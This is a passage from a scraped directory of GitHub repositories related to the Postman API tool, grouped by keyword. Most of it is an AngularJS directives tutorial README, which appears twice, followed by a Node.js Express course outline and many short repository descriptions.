look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
lfmundim/PostmanGuide
document, guide, guidelines, lines, product, productive, test 		Useful guidelines on using Postman in a productive way to test and document APIs, with pictures 1 stars 1 watchers 3 forks
sashank-tirumala/2R_Drawing_Robot
codes, computer, find, human, image, images, lines, mail, message, problem, python, queries, source 		All the code for a 2R manipulator that draws outlines of human images. It is a mix of computer vision code implemented and Matlab and partially lifted from Petr Zikovsky. There is also some python code, which basically solves rural postman problem using Monte Carlo Localization and Genetic Algorithms. These codes are from a combination of various sources online that I unfortunately cannot find now. If any queries drop me a message / mail 1 stars 1 watchers 2 forks
Bisnode/api-stuff
collection, collections, guide, guidelines, lines, node, postman collection, postman collections, spec, specification, specifications 		Repository for api specifications, postman collections and api guidelines. 0 stars 0 watchers 3 forks
rishav394/Email-sender-no-IMAP
client, clients, college, command, command line, curl, e mail, email, lines, mail, send, sender, sends, site, tool, tools 		Handles POST request to the site and sends the mail accordingly. Useful to send mail using curl, POSTMAN or other command lines tools when email clients are blocked by your org or college. 1 stars 1 watchers 0 forks
demoPostman/DotnetIasi.DemoPostman
group, lines, necessary, pipeline, pipelines, presentation, resource, resources, source 		This repo contains all the necessary resources from the DotNet Iasi group presentation about PostmanTests in CI\CD pipelines 0 stars 0 watchers 1 forks
maciejmaciejewski/azure-pipelines-postman
azure, description, lines, pipeline, pipelines, script 		No description available. 0 stars 0 watchers 0 forks
Apollo013/AspNet_WebApi2_MultiPipeLine
access, config, configure, controller, demonstrate, lines, multiple, pipeline, piplines, spec, test 		A small ASP.NET that demonstrates how to configure a WEB API project to have multiple piplines and specify which controllers are accessible for each pipeline. Requires Fiddler or POSTMAN to test. 0 stars 0 watchers 0 forks
braj24/Logr
lines 		Login and Register using just few lines. 0 stars 0 watchers 0 forks
domingoladron/GithubActions.NewmanTestsDockerCompose
bucket, lines, support, test, tests 		Using Bitbucket Pipelines' Docker-in-Docker support, you can run your Postman tests against a Docker Compose API 0 stars 0 watchers 0 forks
shankj3/logspout_newman_reporter
lines, logs, newman, print, prints, report, reporter 		Newman reporter that prints JSON lines for ingestion by logspout 0 stars 0 watchers 0 forks
Shirlines/Node_Restful_API
express, lines, mongo, mongoose 		Node Restful API using express, postman, mongoose 0 stars 0 watchers 0 forks

debug (13 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
longforus/api-debugger
debug, debugger, support 		🔨A like Postman API debugger that supports custom encryption. 一个类似Postman的支持自定义加密传输的后台API接口调试工具. 0 stars 0 watchers 12 forks
skarl-api/skarl-api
debug, perfect, swagger 		API Document view and debug, perfect combination of swagger 3 stars 3 watchers 0 forks
marcandreappel/xdebug-devilbox-phpstorm-postman
communicate, debug 		How to make XDebug work with a Devilbox and communicate with PhpStorm through Postman ? Check this tutoriel, maybe it helps 1 stars 1 watchers 2 forks
xijiz/postman
debug, http, interface, method, remote 		remote interface debuger for http method(post, get) 0 stars 0 watchers 1 forks
dfoderick/postman-insight-api
coins, debug, insight 		Test and debug insight APIs for various coins using Postman: BSV, BCH, BTC, DASH, LTC 0 stars 0 watchers 0 forks
fe3dback/web-debug-tools
api blueprint, application, asyncapi, debug, form, format, information, json schema, logs, oauth, openid, route, routes, sql, symfony, tool, tools 		WIP! - GUI application, "Postman" + "symfony debug toolbar", allow to develop api with additional response information (sql, logs, routes, acl, etc..) 0 stars 0 watchers 0 forks
IbrahimMSabek/mfpAdapterTester
active, auth, authentication, data, debug, debugging, docs, secure, secured, spec, test, web app 		This will be a web app that will act like Postman which aim to test secured IBM Mobilefirst 8 adapters with custom authentication specially that save and use data within active session as Postman basic authentication debugging detailed in MFP docs won't fit 0 stars 0 watchers 0 forks
Oculogx/Node-REST-API
debug, support, supported 		REST-API supported by Node.js and debugged with Postman 0 stars 0 watchers 0 forks
peterbozso/directline-postman
collection, debug, debugging, enviroment 		Postman collection and enviroment for debugging bots through the Direct Line API 3.0 0 stars 0 watchers 0 forks
tomalex0/request-promise-postman
debug, json 		Generate postman json from request-debug 0 stars 0 watchers 0 forks
yann-yvan/CodeHttp
android, communication, debug, define, light, server, struct, structure, tool, tools 		A light way to make communication between android and server using a predefine structure server response with a debug tools like postman 0 stars 0 watchers 0 forks

schema (13 listings) (Back to Top)

postmanlabs/schemas
schema, schemas, struct, structure 		Repository of all schemas for JSON structures compatible with Postman (such as the Postman Collection Format) 23 stars 23 watchers 20 forks
jenius-apps/Postman.NET
apps, collection, implementation, official, schema, unofficial 		An unofficial .NET implementation of the Postman collection schema 1 stars 1 watchers 1 forks
donalfenwick/Swashbuckle.SwaggerToPostman
collection, generate, generated, library, middleware, postman collection, schema, swagger 		AspNetCore middleware which uses the Swashbuckle.AspNetCore library produce a postman collection (v2.1) from the swagger schema generated by swashbuckle. 1 stars 1 watchers 0 forks
smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
swiftinc/gpi-connector-backoffice-simulator
collection, demonstrating, integrating, office, postman collection, principles, rating, schema, swift, validation 		This is a postman collection for integrating with Tracker APIs and Pre-Validation API demonstrating the principles of TLS, LAU and JSON schema validation. 0 stars 0 watchers 2 forks
AlexNDRmac/postman_asserts
api blueprint, assert, asyncapi, json, json schema, oauth, openid, postman tests, reusable, schema, script, scripts, sql, test, tests, usable, validation 		Tiny scripts for Postman Auto tests (reusable Assertions for postman tests and json schema validation) 0 stars 0 watchers 1 forks
shaishab/sequelize-express-example
application, example, express, generation, schema, sequelize 		An example for the usage of Sequelize within an Express.js application with schema generation from existing table 0 stars 0 watchers 1 forks
ambuyo/nodejs-mongo-authentication
auth, authentication, data, mongo, mongod, mongodb, node, nodejs, schema, validating 		validating mongodb data schema using nodejs and postman 0 stars 0 watchers 0 forks
Dipskarki/REST-API-Practice
implementation, model, models, route, routes, schema 		REST API using models, schema and routes with implementation in postman 0 stars 0 watchers 0 forks
dushyantchillale/postman-mock-schema
mock, schema 		Postman Mock Schema 0 stars 0 watchers 0 forks
nhc/ecomm-api-tests
endpoint, endpoints, schema, test, tests 		Postman tests and schema's for API endpoints 0 stars 0 watchers 0 forks
omaracrystal/CRUD_5
data, database, define, route, schema, struct, structure 		Setting up CRUD app with Express, MongoDB, Mongoose, define schema, set up RESTful route structure, update each route to connect to the database and return JSON. Test with cURL, HTTPie, or Postman 0 stars 0 watchers 0 forks
rodrigo-contentful/apis-schemas
content, schema, schemas 		CDA, CMA JSON schemas for Postman, Insomina and more to come 0 stars 0 watchers 0 forks

variables (13 listings) (Back to Top)

flickerbox/hubb-api-collection
collection, environment, integrate, variable, variables 		Postman collection and environment variables to integrate with the API at hubb.me 4 stars 4 watchers 0 forks
AnjolaA/newman-wrapper
config, environment, inject, newman, variable, variables, wrapper 		A wrapper to inject config values postman environment variables 2 stars 2 watchers 0 forks
guvkon/grunt-postman-variables
file, files, place, variable, variables 		Replace Postman variables in JS files from globals.postman_globals 1 stars 1 watchers 0 forks
d1820/PostmanVariablesSample
variable, variables 		Example of how to use GitHub to manage Postman variables 1 stars 1 watchers 0 forks
foonster/postman
file, form, format, gateway, generic, mail, operation, operationa, options, parse, parses, process, result, script, send, sends, spec, user, users, variable, variables 		Postman is a generic PHP processing script to the e-mail gateway that parses the results of any form and sends them to the specified users. This script has many formatting and operational options, most of which can be specified within a variable file "_variables.php" each form. 1 stars 1 watchers 0 forks
buulam/bootstrap-bigip-via-iworkflow
bigip, boot, collection, config, configuration, environment, progress, variable, variables, workflow 		Work in progress - Postman collection with environment variables for bootstrapping a new BIG-IP with blank configuration via iWorkflow 0 stars 0 watchers 0 forks
id-den/postman-bdd-variables
description, script, variable, variables 		No description available. 0 stars 0 watchers 0 forks
ck19955/Postman-model
houses, mail, model, variable, variables 		The aim of this project is create a model for a postman delivering mail to some houses. There will be different variables to see how the time it takes the postman to deliver post changes. 0 stars 0 watchers 0 forks
evelynda1985/muleSetVariableApp
console, expect, list, listen, method, send, studio, variable, variables 		Mulesoft 4, anypoint studio, HTPP listener, 2 set variables. payload, logger. Tested using Postman, POST method sending in the body a JSON. Result expected in Postman and in the console log. 0 stars 0 watchers 0 forks
FIWAREZone/Postman
variable, variables 		Colección de peticiones y variables de entorno 0 stars 0 watchers 0 forks
jwhorley/postman-iterate-data-collections
collection, collections, data, guide, setting, variable, variables 		A "how to" guide for setting up Postman Collection Runner w/ variables 0 stars 0 watchers 0 forks
neomarmedina/prueba_meta
api blueprint, asyncapi, auth, docs, form, format, github, gitlab, http, https, json schema, laravel, list, meta, model, oauth, openid, resource, resources, servicio, source, sql, validation, variable, variables 		Prueba de la empresa MetaData : Crear un proyecto público en git (gitlab, github...) y compartirnos la url. Crear un proyecto API/Rest en Laravel 6 con los sig requerimientos: - PHP 7.3. - Base de datos Mysql 5 utf8mb4_unicode_ci llamada "prueba_meta". Crear Servicio tipo POST que registre un modelo "Author" con el atributo "name" Crear Servicio tipo POST que registre un modelo "Book" con los atributos "publish_date", "title", "author_id" Crear un servicio tipo GET que retorne un listado de los "Book" y sus autores. Crear las migraciones correspondientes para ambos modelos. (https://laravel.com/docs/6.x/migrations) Los servicios deben devolver sus respuestas en formato JSON y tener validaciones para sus atributos usando "Validator" (https://laravel.com/docs/6.x/validation) e implementar "Eloquent: API Resources" (https://laravel.com/docs/6.x/eloquent-resources). Los servicios serán probados en Postman después de levantar el servidor (php artisan serve) y colocadas las variables de entorno en el archivo .env 0 stars 0 watchers 0 forks
nobitagit/postman-tester
environment, environments, test, tester, variable, variables 		Repo to test Postman environments and variables 0 stars 0 watchers 0 forks

elastic (13 listings) (Back to Top)

sittinash/elasticsearch-postman
elastic, elasticsearch, search 		Collection of frequently-used Elasticsearch requests. 0 stars 0 watchers 27 forks
BlueTechHound/elasticsearch-postman
collection, elastic, elasticsearch, postman collection, search 		A postman collection for Elasticsearch 4 stars 4 watchers 7 forks
brunopacheco1/learning-elasticsearch
document, documentation, elastic, elasticsearch, learn, learning, search 		Reading and Learning Elastic Search documentation and applying it on Java, Node.js and Postman. 0 stars 0 watchers 0 forks
deeep911/Java-elasticsearch
